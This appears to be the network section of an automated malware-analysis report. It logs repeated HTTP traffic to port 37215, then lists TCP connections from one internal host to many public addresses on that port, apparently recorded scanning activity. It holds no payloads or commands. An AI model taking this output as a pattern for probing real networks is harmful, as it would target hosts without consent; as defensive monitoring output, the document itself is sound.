Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.66.117.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.213.129.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.154.160.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.145.123.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.116.48.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.100.232.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.10.122.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.19.251.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.208.82.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.74.205.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.218.41.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.115.166.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.198.240.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.213.8.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.127.113.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.141.245.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.4.47.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.222.193.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.250.122.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.24.249.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.248.84.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.91.93.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.161.13.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.45.75.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.175.28.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.230.93.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.6.142.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.162.4.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.71.108.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.126.87.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.93.214.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.229.176.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.190.138.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.198.45.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.43.82.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.220.33.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.190.172.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.225.75.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.107.172.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.52.115.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.27.27.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.49.86.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.239.215.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.174.56.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.6.233.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.47.205.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.223.93.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.41.131.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.177.118.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.90.16.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.35.239.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.45.201.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.53.52.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.142.49.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.243.215.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.85.24.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.243.189.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.3.248.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.248.163.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.79.108.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.80.233.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.169.142.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.28.233.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.150.48.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.76.50.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.43.37.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.31.35.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.93.37.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.48.239.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.77.27.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.90.239.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.145.136.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.89.104.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.138.15.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.177.210.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.228.250.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.191.100.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.105.190.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.253.100.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.144.208.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.57.234.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.191.178.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.119.104.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.197.244.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.33.251.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.10.138.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.0.232.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.57.208.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.109.165.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.174.8.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.35.236.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.153.6.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.245.163.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.148.153.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.87.111.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.31.42.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.150.250.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.95.193.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.224.155.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.239.49.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.57.20.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.247.241.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.122.179.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.226.100.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.148.173.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.249.168.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.210.108.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.235.175.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.6.167.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.37.158.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.21.94.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.249.232.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.120.79.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.60.79.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.2.5.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.191.64.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.62.103.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.136.56.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.64.101.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.54.127.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.90.249.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.101.199.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.85.61.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.160.191.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.39.31.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.181.91.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.125.177.5:37215
